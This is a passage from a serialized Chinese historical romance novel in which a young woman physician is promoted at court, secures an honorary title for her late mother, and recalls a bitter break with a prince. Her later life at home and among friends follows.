他与她无名无分,却在深夜里纠缠,她觉得这是苟且。 在她心里,他连凌云都不如。 她瞧不起他。 程芙在皂河县度过了十八岁的除夕。 待到正月初四立春,太医署三名特使圆满完成朝廷所托,无伤无亡启程回京。 被罚了两年俸禄的董知县,率领全县上下官吏和县民夹道相送,还颇为隆重地献上三把万民伞。 程芙没想到自己也有份,熊秀登车把伞递过来,她双手微微抖。 一行人浩浩荡荡出发,半个月后,正月十九才入了京,恰好错过了走百病和热闹的元宵节。 此行劳苦功高,该当论功行赏。 一入京,程芙连家门都没能摸着,便被宫人接引入宫,在景华殿的偏殿沐浴更衣,换上公服,之后才和荀叙范吏目碰面,三人跟随掌印太监魏大珰步入正殿参拜景暄帝。 她紧随荀叙右侧,抬脚迈入,一阵阵浓淡相宜的檀香直取心肺,脚踏传闻中的金砖,余光所到之处金碧辉煌,珠玉生辉,身侧是数丈高的鎏金铜柱,每隔数十步便有一方鎏金铜鼎,鼎中燃着檀香松木,庄重肃然。 满朝臣工左右两侧站班,程芙连呼吸都放轻了。 大殿中央,三人站定,面朝景暄帝叩拜,闻听“平身”方整衣垂首,恭肃起身。 景暄帝面容苍老亦不失威严,一双锐利凤眸下视众生。 站在最前排的是一群紫衣超品权贵和明黄朱红宗亲,崔令瞻是缀着团纹行龙补子的朱红公服,他微微侧目看向程芙,程芙长睫低垂,目不斜视。 魏大珰宣读太医署特使功绩,以示嘉誉,紧接着宣读册封敕文。 皇天庇佑,皂河县瘟疫已绝,百姓得以休养生息,体弱者痊愈,农桑耕种后继有人,太医署特使功不可没。 从荀叙开始,职事品秩擢升正六品院判,绫罗绸缎赏赐自不必说,范吏目职事品秩擢升正八品御医,赏赐相等。 这里不得不提一句御医品秩虽不高,却是太医署说话最有分量的职位,亦是太医署医术最为顶尖的阶层,非其他太医可比拟,关于医术方面的决断,即便是太医署之首院使都要听从。 因为院使品秩虽高,但不一定是御医。 故而范吏目这小小一步,其实跨了一大步。 轮到程芙,擢升职事正九品吏目,算是太医署有史以来最为年轻的吏目,且还是个女儿家。想不引人注意都难。 景暄帝高坐龙椅,目中几许惊艳,不过他这个年纪吃过的山珍海味数不胜数,早已麻痹,对女人的兴趣也早已从躯壳转为性格,脾性相投的美人才是吸引他的关键,所以他看程芙就如看一朵妍丽的春花,美则美矣,却也不至于多么神迷向往。 反倒是崔逞乾看直了眼,禁持不住,酥-麻了半边身子,痴呆半晌。 好个惑人的小妇人,不在家相夫教子,反出入宫廷,勾得人心燥热。 他盯着程芙姣好的面容,几乎不输于吴家的汀小姐,一时情思乱飞,若将二女收入房中,享尽齐人之福,这一生得多么蚀骨魂销。 魏大珰并未宣读毅王的功绩,皇帝的目光与毅王交汇,他们祖孙之间还有更重要的事情详谈,不急。 荀叙和范吏目一一跪谢隆恩,轮到程芙时,她竟慢了半拍。 皇帝眯眸看向她,她心里一抖,忙跪地陈情:“皇恩浩荡,微臣感激涕零,可是愧不敢受,微臣斗胆为家慈讨赏。祛毒散和四毒汤均为家慈在世时呕心沥血研制,微臣教化医婆,传授医术,皆乃家慈生平所愿,更有家慈十二本杂谈为证,这份功劳微臣实不敢独占,她才是真正值得这份荣耀之人。” 她阿娘的身后之名应是了不起的医女,应是太医署的吏目,而不是为爹娘抛弃,做过瘦马的卑贱女子。 哦?皇上眼里多了几分兴味,魏宪立即上前凑近他耳朵低述几句。 原来程医女的身世颇有几分坎坷,其母实乃杏林不可多得的奇才。 越是这种时候,崔令瞻和荀叙越不能说话,但凡为程芙美言一句,哪怕都是真的,也会引人往别处臆测,白白误了她清名。 但通过皇帝的贴身大伴魏大珰之口,那便完全不同。听完程芙生母的生平,景暄帝确实心生惋惜。 魏宪说完自己该说的,躬身后退一步,如何评判是皇帝的事,不该由他来多嘴了。 景暄帝敲着扶手的赤金龙首,沉吟片刻,道:“此般才能确实不该寂寂无名,受过往贱籍所累。不过你的功绩朕亦看在眼里,赏你的便是你的,令慈朕自有安排。” 没有家世没有传承,仅靠自己有如此成就,说一句旷世奇才都不为过,可叹未能侍奉帝王家便陨落,景暄帝摇了摇头。 他示意翰林待诏上前听命。 待诏再将皇帝口述的大白话美化一番,转为庄重严肃的敕文,宣读:“宣皇上旨意,本朝任职之功臣,其亲者多为源本也。太医署吏目程芙之母柳氏,杏林不可多得之良才,平瘟汤药功标青史,有女效用,克勤厥职,皆尔善德所致兹特封为正九品孺人,服此隆恩,尚懋(音同帽)敬之。” 程芙跪地用力叩首三下,每一下都有回音,颤声道:“陛下天恩,臣心必当庶竭驽钝,以报万一,永世不忘。” 两滴清泪滚落油亮明鉴的景华殿金砖。 皇上金口玉言,此后大昭的程芙再不是那个瘦马家的小孩,而是正九品孺人,有功社稷的柳孺人之女。 这是阿娘应得的。 她只是一个为阿娘发声的人。 阿娘从此此身分明。 崔令瞻欣慰一笑。 魏宪亦欣慰一笑,递一句实话,连美言都不需要,便能多一笔人情,委实是笔大买卖。 起先他疑惑程医女的来历,不懂她为何得毅王关注,殿上一见便明了的,此等美人,将来必有大造化,锦上添花不嫌多,他述说柳孺人坎坷身世时多有叹息。 皇帝是他看着长大的,两人常常同感,心灵相通,他痛惋叹息,皇帝亦略有神伤。 …… 太医署众人朝荀叙、范吏目以及程芙道贺,因程芙女子的身份,无法参加同僚庆功公宴,但获得了太医署的例赏,两只鸡两只鸭一只羊。 那日太医署的同僚们就见一名美貌无匹的年轻小吏目,左手拎着鸡鸭笼,右手牵着一只雪白的羊羔儿,迈着轻快的步子一路直奔公署大门。 因她已经是吏目,将来日日上衙,再戴帷帽遮面不合适也不庄重,谈御医遂允她可以如同常人一般出入。 她可以像男子一样正常嗅闻太医署的一树一花。 谈御医便是荀叙的亲外祖母,靖阳侯夫人。 做梦也没想到一夕之间自己将要时时接触这些大人物,辅佐大人物。 她的小羊羔咩咩叫,似乎被她的快乐感染,哒哒哒,哒哒哒,追着她跑。 凌云老远看见一抹飞奔的娇影,心道平时的稳重都是装出来的,而今如愿以偿立即显露孩子心性,跑得这般欢快,也不怕被同僚瞧见。 谁愿意在一个小姑娘家家的手里惟命是从。 他胡乱寻一个借口便丢下热情的同僚,一径朝她跑过的方向追去——皇城的东南角。 像一只殷殷的春燕追逐候了一冬的她。 “阿芙。” “嗯?” 不意有人,程芙忙收敛脚步,收敛神态,端端正正转过身,“凌大人……” 她的小羊也停了下来,睁着圆圆的眼睛好奇地打量凌云。 程芙心情极好,便招呼道:“多日不见,大人一切安好?” 是多日吗?是三个月吧。 凌云嘴唇嚅了嚅,好半晌才挤出一句:“哈哈,我挺好。你跑步的样子真好笑,方才都同手同脚……” 开心得飞起来的小心脏陡然踉跄一下,程芙脸颊发热,支吾道:“我着急回家才跑了会。” 不过她逢喜事精神爽,不跟他计较,且她本来也很少计较,便朝他欠一欠身道:“大人进宫定是有公务在身,我便不打扰大人了……” 正要告辞,忽听他问:“你领了这么多赏赐怎么回去?” 因公宴缘故,朝廷自然也不会派车送官员回家,作为女子的程芙被忽略了,没有人考虑她能不能参加公宴,考虑到了也懒得多嘴。 “我可以雇车,多走几步便有许多骡车驴车。”程芙看什么都高兴,都宽容,哪怕是凌云,她都觉得眉清目秀。 凌云:“我正要回家,那正好顺路送你一程。” “不用不用。”程芙忙推拒,“我要自己回去。” 他把眼一瞪,冷声道:“程吏目升官发财又要与我撇清关系?” 三番五次找他,麻烦他,一朝升官说句客套话便要扭头走人,未免也太凉薄。 可她和他实在不宜走太近。 一盏茶后,程芙端坐车厢,不时担心栓在马车后面的鸡鸭笼子和小羊。 凌云坐她对面,问:“你何时请我吃饭?” “啊?” 凌云歪头打量她。 程芙讪讪道:“我给忘了。”想了想,她柔声道,“您想吃什么?我叫福仙楼的厨子去您府上做。” 这是真大方,真舍得出钱了。 凌云扭头看向窗外,淡淡道:“不必,以后再说。” “你回去小心些。”他突然道。 “……”程芙目露疑惑,“小心什么?” “小心徐家那个厚脸皮的书呆子。”凌云义愤填膺道,“上回我拜访柳姨就见他在门口纠缠不清,非要送礼,好似谁与他十分熟络,柳姨见着他便烦,你不能再让柳姨糟心了,莫要搭理他……” 他说着说着声音越来与低,因为阿芙的目光骤亮,浮出他从未见过的柔光。 她变得很温柔。 “他是来参加春闱的吗?他这般年轻竟然中了举。”她的眼睛里全是崇拜与赞叹。 凌云:“……” “难道你忘了徐家昔日如何欺辱你和令堂?”他皱了眉,唇线微微绷紧。 “我分得清谁好谁坏。他家人做的事,与他何干?没有他,我可能早就是一具枯骨。”程芙抿一抿唇,不悦道,“我不喜欢听别人讲他坏话。他年纪小,也没你心眼多,你不要欺负他。” 希望凌大人能有一点边界感,莫要仗着微许渊源便对别人的社交指手画脚。 程芙内心不满,因奉行多一事不如少一事,咽下难听的话,尽量不得罪这位锦衣卫。 凌云看了她一会,转而又笑了:“嗯,是我误会他,我以后不那样了,你别生我气。” 程芙勉强笑笑,此事揭过。 “先前你和柳姨大老远来我家送贽礼,是我招待不周,以后不那样了。我不是真的生你气。”就是真的生她的气,为何要骗他,总是与毅王要断不断的,“我……” “您多虑了,我和姨母都没放在心上。”程芙忙道,“总是央烦大人,明知大人不喜贽礼,偏要去送,是我们的不对。” “你没有不对……”他有些恍然道,“以后也可以麻烦我,我也不是真的嫌烦。” 他还想与她说话,可是马车偏偏停了,她匆匆下车,一手牵着自己的小羊,一手拎着草笼,辞别他而去—— 作者有话说:本章敕封内容借鉴景泰六年刑科右给事中乔毅母亲被封太孺人时的敕文。 第68章 柳宅饭菜飘香, 柳余琴昨儿便去寿善药馆告了假,今日留在家中洗手作羹汤,小桃守在胡同口眺望, 一瞧见程芙从大马车上下来, 顿时心花怒放, “奶奶!” 她双脚蹦跳迎上去。 “这些都是宫里的赏赐?”小桃接过程芙手里的鸡鸭笼子。 “是太医署的。”程芙笑道, “宫里赏我的可是正九品,我阿娘也是。” …… “奶奶当官了!” 清脆悦耳的一嗓子。 小桃一脚蹦进屋里高声宣布好消息, 一大家子纷纷抬起头,呼啦围上来。 柳余琴双手用力攥着围裙, 怔怔走向门口, 冷不丁就被飞跑过来的阿芙抱了个满怀。 冬芹等人连忙用袖子擦眼泪。 比起升官,程芙还活着这件事更令人喜极而泣。 “姨母,我都做到了!” “嗯, 有志者事竟成,我们家的阿芙委实是天底下最有毅力和志气的孩子。” “我还给阿娘讨了一个诰命,正九品的孺人。” 放在京师可能就是颗芝麻粒的小品秩,可放在芸芸普通人里,已是许多人终其一生都达不到的成就了。 “好孩子,你阿娘没白疼你,从前所受种种灾厄亦可平了。”柳余琴欣喜的眸中渐渐汇聚了一抹希冀的亮光, 她的声音极温柔极轻, 唯恐一点点微小的动作惊扰了幸福的幻影。 但她知道,这一切都是真的。 姨甥二人开开心心吃了顿丰盛的家常宴,吩咐冬芹拿来两床薄衾,窝在西次间的罗汉榻上聊天,还烧了火盆子煮茶烤红薯。 小小的屋子里飘着暖烘烘的茶香薯香, 阳光穿过半透明的明瓦窗子照进来,照得人懒洋洋的。 柳余琴没少在心里诅咒崔令瞻,可明瓦窗子实在太舒适,遮风挡雨且透光,生活在明亮的屋子,心态都较之前宽容,便也甚少再咒骂赠予明瓦的人。 程芙把这一路所见所闻隐去危险的、令人操心的,只留下中听的,一一详述给姨母。 柳余琴扬起的嘴角就没落下,不时地夸赞一句,哪有孩子经夸的,越夸越能讲,程芙愣是一口气讲了半个时辰。 挑她停下来捧茶喝的空隙,柳余琴忽然道:“原来荀御医这般年轻,不愧是谈御医的亲外孙。我在寿善药馆帮工一年半,听过几回少东家,没想到就是他。” 可见荀叙并不经常去药馆,今年唯一去的那回便遇见程芙,若说不是缘分,柳余琴都不信。 程芙:“嗯,他人挺好的。” 柳余琴目光发亮,难免憧憬道:“你们相处这么久,他可有照顾你?” “当然照顾。” 柳余琴的眼睛果然更亮了。程芙睫毛微闪,低眸剥花生,笑道:“他不仅照顾我,还照顾范吏目、熊秀熊禾姐妹俩。此行人缘最好的当属他,半点儿世家权贵的架子都没有,上下无不交口称赞。” 呃,这样啊……柳余琴眼里的亮光噌的又熄了,讪讪笑了下。 程芙毫不犹豫浇灭了姨母心里不切实际的火苗,眸光一怔,指着角落堆得满满当当的箱笼问:“这些是什么?” 柳余琴感到头疼,面无表情道:“大箱笼里放的是毅王送的香料、补气养血的药材、燕窝,旁边的大缸里则是碧粳米,再往旁边的红漆箱笼放的是徐家小崽子自己做的小鱼灯笼和檀木小医箱。” 程芙和姨母因为毅王的馈赠同时陷入忧郁,转而又不满地提醒姨母道:“徐峻茂真的没有欺负我,求您别再生他的气,实在要生便悄悄放心里吧,莫要小崽子小崽子的叫嘛,姨母——” 她往姨母身边一靠,脑袋轻蹭姨母的肩膀。 柳余琴:“男人都差不多,再过两年你便知晓。” “姨母……”程芙低头擦了擦眼角,“我不会因他就不恨徐家,也不会因徐家就恨他,阿娘也是这般教我做人的。” 柳余琴叹了口气,沉默。 这个道理她懂,柳家的姐妹也一直如此做人,所以她对徐峻茂的不满多为甩冷脸,倒也不曾真正羞辱他令他难堪。 否则便不会仔细存放他为阿芙做的小灯笼小医箱。 真正的隐患其实是毅王。 “如今杨氏卸下伪装,奉命送东送西更是理直气壮,我也不敢得罪她。”柳余琴一脸晦气,抬眸问程芙,“往后的日子,你心里可有章程?” 一阵心悸,把程芙的回忆蓦地扯回皂河县那晚。 崔令瞻颜面扫地,程芙从未见过这样的他,如水的眼眸黯淡无光,瓷白的脸颊涨得通红。 他问她:“你拿我和凌云比?” 程芙:“他确实比您更有底线。” 他腾身欺近,捧住她的小脸,猛然含她双唇,舌尖不由分说推进她口中,怒意使得他没多少耳鬓厮磨的耐心,只想惩罚她不知好歹的嘴,撕开她的小衣。 “你中邪了?这样……我不舒服……出去啊……”程芙花容失色,挣又挣不开,骂又骂不退,几番扭缠厮打,她扬手甩了他一巴掌。 清脆的,结结实实的一个耳光。 周遭一霎归于静谧,可闻针落。 崔令瞻捂住微微红肿的左脸,缓缓抬起头,眼睛发直,呼吸越来越沉。 程芙:“……” 威势之下,她有些扛不住,搂紧棉被不停往后退,直到脊背触到了冰冷坚硬的床围子。 崔令瞻突然笑了,愤然掀被穿衣,套上一层层衣袍长裤,跳下暖炕,目不转睛瞪着瑟瑟发抖的她。 如若目光能杀人,她应该早就被他捅成了筛子。 “本王何时与你标榜自己是正人君子?”崔令瞻的下颌绷得紧紧的,“你说的没错,本王就是卑鄙无耻,没有体面也没有尊严。” 可他的眼睛在薄雾般晕黄的烛火里渐渐湿润,“别人欺负你,只需对你好一次,你便感恩戴德,时时记心底。”他颤抖的手指点了点自己的胸膛,“而我,我待你的好,你一回也记不住。” 他肝肠寸断。 过了许久,才艰涩启音:“因为我,凌云才不敢强迫你,不然你以为自己能全须全尾到京师?吃着我的红利,倒让你自以为遇到个好人。” 程芙:“我没说他是好人……” “没有我,谁跟你讲底线?”崔令瞻讥笑道。 “也不想想凌云有什么理由搭理你,既然搭理自是对你感兴趣,你假装什么啊,我不信你不知其中龌龊心思。” 他的胸口有一团炽烈的火焰,喉结也剧烈地滚动,吼道:“他和我,根本没区别!” “阿芙,我不好,可我让你活得足够好,没有我,你一定凄惨无比!” 程芙没有恼羞成怒也没有立即反驳,只是轻眨眼睫,两行清泪沿着腮畔滚落,竟从心底认同了他的话。 默然片刻,她无比平静地启音:“是,您说的对。” 崔令瞻:“……” “可我……宁肯从未遇到你。” “……?” 他的身子明显僵住,越来越僵。 此时此刻,回到了京师的程芙,坐在姨母身畔,拥着暖和的被子,回答了姨母的忧虑。 “不用拿章程。”她说,“我和毅王在皂河县彻底断了。” 断了?柳余琴抬眸,睁大了眼。 “就是您理解的意思,散伙,分道扬镳,以后不会再有交集,杨氏也不会再来咱们家送东西。” 柳余琴:“果真?” “嗯。” “吵没吵架?” “吵得很厉害。”她没敢说自己还动过手。 “他亲口对你讲的?” 程芙点了点头,“是。” 崔令瞻说此后便是她跪下来求他复合,他也不屑再给她任何脸色,并恶毒地声称但是一定会关注她的,看看没有他,她心目中的大好人凌云如何收拾她。 程芙对目瞪口呆的姨母道:“我没说凌云是好人,也不懂毅王在哪中的恶,对着我一顿发疯。” 那晚崔令瞻撂下狠话摔门离去,至今再无交集。 杨氏一家也在次日搬离了双槐胡同。 卑鄙无耻也没有体面和尊严的小王爷崔令瞻,仿佛从未出现在程芙生命中。 她的生活平静无波。 柳余琴背着她拦住前来求见的徐峻茂,少年人眼神如小鹿,毫无攻击性,她便厉声道:“你自己说功名一日未取便一日不敢求娶阿芙,那就抓紧读书啊,什么都没有也敢来阿芙跟前显眼!” 倒不是势利眼,只是想让他知难而退,为自己说过的大话负责。 但凡知道廉耻,落榜后应是没脸再纠缠的。 徐峻轻轻抿唇,道:“好。” 他孑然转身,阔步而去,走了一半忽又顿足,回身问柳余琴:“若我侥幸考中进士,您是否放下成见,允我接近阿芙?” 柳余琴嗤笑:“等你中了一甲再说。” 这还不如直接拒绝。 多少才高八斗,名镇一方的才子,年近花甲还没摸到进士门槛。 以徐峻茂的年纪,通过会试都是奇迹,中一甲简直痴人说梦,柳余琴就是在明晃晃地拒绝他。 未料他竟露出了认真思考的表情,片刻之后,神色严峻,无比仔细地确认:“您的意思是中了一甲就可以求娶阿芙,是与不是?” 柳余琴大笑,叉腰道:“是啊,只要你高中一甲,阿芙不反对,我什么都同意。” 徐峻茂如释重负,朝她揖了一礼回家去了,春闱前果然没再出现。 第69章 正月结束前, 柳宅买了一辆崭新的骡车,手头宽裕的姨甥俩结束了长期租车的打算,如此才好方便程芙上衙。 身为正九品吏目, 难免要经常出入皇城和宫城, 没有车定然十分不便。 柳余琴一高兴还买了个十三岁的小厮, 取名进宝, 专门为程芙驾车。 日子完全步入正轨。 这期间,程芙原想问候徐峻茂一声, 一则略尽地主之谊,二则当面好好对他道一声谢谢。 谁知他始终没有登门。 小桃也纳闷, “奶奶回来前, 他一个月能来五六趟呢,怎么突然就销声匿迹?” 程芙更纳闷,可自己的身份到底是个寡妇, 贸然去齐主事家递帖子,于理不合。 “你可莫要过去添乱,图惹是非。”柳余琴说,“听闻下个月的月底他便要参加春闱,齐主事家上下严防死守,焉能放任他接触女子?” 大昭确实有这一种说法,赶考举子越临近考期越得清心寡欲, 远离女子, 免得坏了精元和气运。 虽说程芙对外是个小寡妇,可是与徐峻茂同龄,且生得玉软花柔,这种时候叙旧,势必要引起误会, 将来落榜说不定还要被他的姑母徐氏记恨。 一句话警醒了了程芙,果然不敢再轻举妄动。 反正日子还长,他若考中,自己再有所表示也不迟,假如落榜也不打紧,他才十八岁,拥有许多试错的岁月。 惊蛰一过,春雷乍动,万物生机勃勃。 大昭废除前朝的旬假制,采用五日一休,今日二月初五,明日程芙便可以休沐了,卓府的三奶奶楼姝音昨儿给她递了帖子,邀她赏花。 据说是卓侍郎家最大的一处田庄,拥有一整片桃花林。 生活安定,如此年纪的程芙岂会不喜,欣然赴约。 所以今日上衙的心情也带了三分雀跃。 她是谈御医手下的三名吏目之一,平时的差事略有些繁杂,不仅要负责谈御医出诊前后的一切诊疗事务,还要负责整理医案、核对药材、校勘典籍。 虽然吏目的品秩低,但每隔三年就可以参加一次选拔,拔得头筹则改称为吏目侯缺。侯缺的意思就是等待上官告老还乡,或其他原因退位让贤,然后立刻递补上去。 因太医署的职位是一个萝卜一个坑,想要晋升,除了耐心等待便是天降皇恩,着实比其他公署麻烦一些。 但太医署的油水真的很足,吏目的俸禄相当于外面的正四品,你就说吓不吓人吧? 反正程芙被惊了一大跳,心脏怦怦然。 万般如意,唯有一点点小坎坷,她所侍奉的谈御医和荀叙的性格全无相通,为人严厉寡言,且最讨厌话多反应慢之人。 每每她一出现,程芙便不由自主绷紧肩膀,屏息敛神,全神贯注。 这日上衙,她规规矩矩拜见谈御医。 谈御医:“昨日交给你的医案整理如何?” “已经整理了一半,今日上午定能完成。” 谈御医“嗯”了声,“你初来乍到,须多学多记,戒骄戒躁,先在太医署熟悉日常,将来再出入宫廷才更有利。” 程芙忙揖礼:“多谢大人赐教,卑职定当铭记于心。” 她留下来继续整理医案,另一名包吏目则去了生药库,谈御医带着邹吏目前去为皇后娘娘请平安脉。 不多时,包吏目从生药库返回,她和程芙打了句招呼,转而凑过来小声道:“宫里似乎出了大事。” 程芙一怔。 “我回来的路上遇见汤御医急匆匆出诊,一打探居然是去宜和宫!” 宜和宫的主位是邱贵妃,也只有她这一个主子。 按照惯例,当妃嫔到了需要请男御医的地步,必然是攸关性命,大事不妙。 程芙对邱贵妃印象极差,虽不至于拍手叫好,可也没有太多情绪同情的,便附和包吏目道:“贵人吉人自有天相,定然能逢凶化吉。” 两人互相说了几句场面话,便各忙各的。 邱贵妃的贵体比想象的还要严重,这一上午过去的不仅仅是汤御医,连孟御医和丁御医也过去了。 太医署的氛围逐渐凝固。 下衙时,程芙还瞧见一名头发胡须花白的老御医,提着衣摆匆匆出门。几个一见到她就会殷勤围过来的医员,今日也都不见了踪影。 她松了口气,提着衣摆匆匆离开公署,下衙当然是抓紧回家,路上再买一包香喷喷的卤肉。 未料冤家路窄,她才离开公署拐上青石板路,迎面撞上了一行人,为首的不是别个,正是崔令瞻。 一身朱红色补服,胸前缀着张牙舞爪的五爪正龙图纹,两肩则是行龙,腰束玉带,头戴翼善冠,鬓如刀裁眉如翠墨,一张脸冷的吓人。 程芙左顾右盼,周围没有一点像样的遮挡物,只好硬着头皮停驻路边,尽可能垂着脸往后杵,减少自己的存在感。 崔令瞻视她如无物,直接越过她,在众侍从的簇拥下眨眼消失路的尽头。 但她确实听见了一声很轻的冷哼,方才他路过她时发出的。 拿不准哼谁,多半是哼她,毕竟散伙前吵得不太光彩,而他又挨了一巴掌,算得上人生奇耻大辱,没跳脚揍她一顿,已算她好命。 程芙心道下次换条贵人不会走的小路,应不会再照面。 哪知一波未平一波又起,竟又遇到了凌云。 上次照面好像是半个月前,倒也不算频繁。 凌云:“刚才那不是毅王?” 程芙笑了笑,“是呀。” “你们吵架了?” “已分道扬镳,再无瓜葛。”程芙说,“请大人不要在我跟前提及此人,免得招来不必要的误会。” 凌云观察了半个月,早就疑心重重,万没想到竟是真的,左侧的嘴角不由扬起。 程芙想起崔令瞻恶毒的话,心有余悸,情不自禁畏惧凌云,便匆匆辞别,逃也似的跑了—— 作者有话说:居然赶出来了[狗头叼玫瑰] 第70章 程芙跑得快, 凌云也没有追她的意思,一手负在身后,脑袋稍稍歪着打量她的背影。 毅王终于不要她了。 再遇到麻烦, 她唯一能依靠的恐也只有他。 相信程芙在不久的将来定会自动送上门, 因为燕阳的付大娘正在收拾行囊, 赶往京师。 凌云的眉宇渐渐舒展, 循路信步迈进了内廷,嘴角扬起的弧度越来越高。 他来到乾清宫西侧的养心殿。 虽是殿, 其实是一所拥有独立院落的建筑群,乃历代皇帝处理国事兼起居场所。 养心殿的西暖阁被分成若干小室, 皇帝日常歇在这里, 有的用来看阅奏折,有的与大臣秘谈,还有用来供佛歇息。 内侍引路请凌云去了那间日常密谈奏对的小室。 此间不久前将将历经一场“浩劫”, 墙上本该平稳挂着的花鸟挂屏歪斜欲坠,茶水淋漓,墙角一地碎瓷片和水渍。 崔逞乾狼狈跪地,神色仓皇,额头破了一大块皮,公服尚沾着几片茶叶,水迹斑斑。 崔令瞻则立在下首, 眼帘微微向下, 双手垂在身侧,笔直如松。 凌云走进来,朝铁青面色的皇帝问安揖礼,皇帝摆了摆手,他识趣地退至安静的角落, 寂然无声。 四个人一间屋,静谧须臾,仅余太子崔逞乾沉乱的呼吸声。 景暄帝以手捏了捏眉心,忽然道:“榆白。” “臣在。” “詹事府的少詹事、府丞,这几人你看着办。”景暄帝抄起一叠奏疏,似有千钧之重,掂在手里沉,拂袖一挥,照着崔逞乾面门撒了一地。 凌云上前领命,复又退后几步,蹲伏狼狈的太子附近一一捡起横七竖八的奏疏。 北镇抚司一出手,意味着詹事府可能要大换血,或许连太子都要一并换了。 崔逞乾如遭雷击,瞬坠冰窟,再抬起头,泪流满面,口中唤着父皇,哀求,忏悔。 景暄帝恨铁不成钢,百感交集,万般灰心。 晚年的他固然昏庸自私,但还远远没到视万民如草芥,自毁国运的地步。 崔逞乾年纪轻轻便已如斯阴毒冷酷,着实令人发指,更令年近七旬的景暄帝遍体生寒。 他不敢想这样的人称帝,为一己私欲将会是何等模样,酒池肉林、暴虐无道怕都是轻的。 人为瘟疫彻底颠覆了一国之君对贪婪的认知。 时年二月初五,邱贵妃罹患重病,深居宜和宫调养,没有皇后的懿旨任何人不得私自探视,太子因母妃的身体状况也忧思成疾,卧病东宫,六部观政的特权暂时作罢,一切等身体痊愈再议。 至于何时痊愈,皇帝说了算。 若说到这一步还有些人没反应过来变天,那詹事府一夜之间数位官员被查抄,再麻木的人也能嗅到不寻常的味道。 朝野人心惶惶。 皇帝年纪大了,习惯统掌全局但是心力有限,面对繁琐的政务,不得不挑选良才辅佐他整理和督查,光是翰林院的几位重臣并不够,所以有了内阁,光内阁也不行,还需要御史台牵制,如此一来御史台的实权便以一种隐形的方式慢慢扩张,所以他又略略放权六部,由六部来牵制御史台,形成一个闭环。 此外,他还有忠心耿耿的北镇抚司震慑朝野内外。 昏庸的皇帝晚年过得仍旧十分安稳。 但年岁不饶人,在一次次力不从心之后,皇帝于今年的二月初软禁了太子,终于下决心稍稍放权另一把极其锋利的宝剑——毅王。 把毅王从军机营召回,不时召进养心殿奏对。 关上门谁也不知门里的状况,为他处理政务之人已经由一个人变成了两个人。 一大半的奏折都交由魏宪和崔令瞻批阅,而后相互监察,再以口述的形式上奏于他。 这个方法使得心力交瘁的景暄帝真正缓了一口气,人也恢复了些许血色。 朝野风波席卷不到太医署小小的吏目,程芙的日子越过越滋润,庄子上开了大片桃花,做为卓府三奶奶楼姝音的贵客,她受邀前往。 这是她第一次参加贵女圈子的雅集,有好奇有向往但并不自卑,因为她不再是某个权贵圈养的玩物,也不再是贱籍,她有名有姓叫程芙,一名精于女科的太医(太医署从上到下的官员皆可称太医,御医除外),还有一位医术更精湛——于大昭贡献良多,受当今皇帝褒奖封赏的正九品孺人娘亲。 她昂首挺胸。 “阿芙。”楼姝音见到程芙家的骡车停了过来,立即迎上。 程芙下车与她相互福礼,“阿音。” 楼姝音执她手,语气欢快道:“可算把你盼到,今日来了许多人,有些我也不熟悉,咱俩一起不必拘谨,只管把卓府把最好喝的饮子喝个够,最好吃的点心吃个饱,再踏春赏花放纸鸢。” 哪里还有先前心灰意冷的半点影子,眼前活泼开朗的阿音才是真正的卓府三奶奶。 程芙莞尔,“观你面色红润有光,可是大好了?” “全好啦,今后你是寡妇我是下堂妇,咱俩一起玩,倒是十分相配。”楼姝音哈哈笑。 “下堂?” “嗯。楼卓两家已经商量和离,父亲为我争取女儿和赡养的田产,一时还未商量出结果,我呢就住在庄子上养身养心图一清净。”楼姝音的眉眼平淡,再无哀愁,转而嘟囔道,“明明是我不要卓三爷,她们背后却议论我是下堂妇。” “你确实不是下堂妇,下堂的人是卓三爷。” “那他岂不就是下堂夫!”楼姝音掩住樱桃口忍俊不禁。 程芙抿笑。 但见一名怀抱女娃娃的乳母含笑走过来,楼姝音忙抬手招一招,满目柔光,接过乳母递来的女娃娃,对程芙道:“这是我女儿小恬,漂亮吗?” 她才十九岁,已经是两岁孩子的娘亲。 程芙突然心酸,可是想起楼姝音今后的生活,又真心为她高兴,此刻望着粉雕玉琢的小恬,由衷赞道:“非常漂亮,眼睛、鼻子、嘴巴与你十分肖似,长大了定也是个大美人。” 小恬冲着程芙一笑,天真烂漫。 楼姝音满面春风,“将来若能有她程姨母八分容貌我便知足。” 说着,就把小恬送给程芙抱,沾点真正的大美人气息,或许真能长得更美。 程芙还未抱过这个年纪的孩子,激动得鼻腔发酸,不过做为女科的郎中,基础还是有的,她知晓如何托抱能令小娃娃舒适不反感。 小恬果然眼睛弯弯,露出又白又小的乳牙咧嘴笑,并不怕生。 乳母笑道:“我们恬姐儿十分喜欢程太医。” 楼姝音教小恬叫姨母,她果然奶声奶气学了,虽稚嫩却清晰。 程芙怀抱幼儿,新奇不已。 三个大人围着一个孩子逗乐,十分温馨。 其他仆婢也跟着说笑,有摇拨浪鼓的,有摘桃花的。 玩闹片刻,乳母抱着小恬下去哺乳,楼姝音拉着程芙去吃好吃的。 程芙替她现在的状态高兴,对她说的好喝的好吃的极感兴趣,二人说说笑笑往桃花林走去。 程芙指着六角亭子附近一个鬼鬼祟祟的身影,问:“这是谁家的小厮?好像一直盯着你。” 楼姝音的脸色顿时一沉,嗤笑道:“他是卓三爷的人。叫阿芙笑话了,卓三爷从小脑子不太灵光,耳朵也不好使,素来听不见不喜欢听的话,也听不懂不想懂的事,舍不下女儿和家产,一直想与我谈判。” “……” 呃,光听前半句,程芙差点误以为卓三爷真有顽疾。 楼姝音:“阿芙且等我一盏茶功夫,只少不多,我把他赶走了,免得影响咱们心情。” 程芙:“多带几个婢女跟着罢。” 楼姝音摇摇头,只带了贴身婢女禾微过去。 亭子里果然站着脑子不灵光,耳力也不甚好的卓三爷。 他长得又瘦又高,十分俊秀,听见熟悉的脚步声忙迎了出来,“音娘,我去了庄子上,她们讲你大清早便离开,可你说不来桃花坞游玩,所以我又去了别的地方,没想到找了一圈你人就在桃花坞。” 楼姝音感觉很神奇,当距离一点一点地缩近,从前那些撕心裂肺的疼痛竟全都没了,仅余一丝淡淡的惆怅。 想到父亲的告诫,既然铁了心和离,那就像个大人一样冷静下来,该拿的东西一分也不少拿,拿到手前一切有商有量和和气气。 多个陌路人总比多个仇人强。 所以她对卓三爷客客气气福了福身,道:“今日要招待一位特别重要的闺中密友,恕不能陪您详谈私事,待下个休沐,我阿爹自会邀请你们家过府一叙,到时我也在,咱们见了面坐下好好商量。” 